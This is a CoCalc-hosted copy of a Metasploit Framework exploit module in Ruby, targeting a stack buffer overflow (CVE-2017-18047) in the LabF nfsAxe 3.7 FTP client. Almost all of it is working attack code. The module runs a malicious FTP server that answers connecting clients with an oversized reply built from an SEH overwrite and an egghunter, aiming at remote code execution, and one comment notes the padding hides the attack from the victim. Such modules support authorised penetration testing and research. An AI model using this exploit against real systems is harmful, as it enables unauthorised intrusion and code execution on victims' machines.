CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/labf_nfsaxe.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::Seh
11
include Msf::Exploit::Remote::Egghunter
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
18
code execution.
19
},
20
'Author' =>
21
[
22
'Tulpa', # Original exploit author
23
'Daniel Teixeira' # MSF module author
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2017-18047' ],
29
[ 'EDB', '42011' ]
30
],
31
'Payload' =>
32
{
33
'BadChars' => "\x00\x0a\x10",
34
},
35
'Platform' => 'win',
36
'Targets' =>
37
[
38
# p/p/r in wcmpa10.dll
39
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
40
],
41
'Privileged' => false,
42
'DefaultOptions' =>
43
{
44
'SRVHOST' => '0.0.0.0',
45
},
46
'DisclosureDate' => '2017-05-15',
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
52
])
53
end
54
55
def exploit
56
srv_ip_for_client = datastore['SRVHOST']
57
if srv_ip_for_client == '0.0.0.0'
58
if datastore['LHOST']
59
srv_ip_for_client = datastore['LHOST']
60
else
61
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
62
end
63
end
64
65
srv_port = datastore['SRVPORT']
66
67
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
68
super
69
end
70
71
def on_client_connect(client)
72
return if ((p = regenerate_payload(client)) == nil)
73
print_status("#{client.peerhost} - connected.")
74
75
res = client.get_once.to_s.strip
76
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
77
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
78
welcome = "220 Welcome.\r\n"
79
client.put(welcome)
80
81
res = client.get_once.to_s.strip
82
print_status("#{client.peerhost} - Request: #{res}")
83
print_status("#{client.peerhost} - Response: sending 331 OK")
84
user = "331 OK.\r\n"
85
client.put(user)
86
87
res = client.get_once.to_s.strip
88
print_status("#{client.peerhost} - Request: #{res}")
89
print_status("#{client.peerhost} - Response: Sending 230 OK")
90
pass = "230 OK.\r\n"
91
client.put(pass)
92
res = client.get_once.to_s.strip
93
print_status("#{client.peerhost} - Request: #{res}")
94
95
eggoptions = { :checksum => true }
96
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
97
98
# "\x20"s are used to make the attack less obvious
99
# on the target machine's screen.
100
sploit = "220 \""
101
sploit << "\x20"*(9833 - egg.length)
102
sploit << egg
103
sploit << generate_seh_record(target.ret)
104
sploit << hunter
105
sploit << "\x20"*(576 - hunter.length)
106
sploit << "\" is current directory\r\n"
107
108
print_status("#{client.peerhost} - Request: Sending the malicious response")
109
client.put(sploit)
110
111
end
112
end
113
114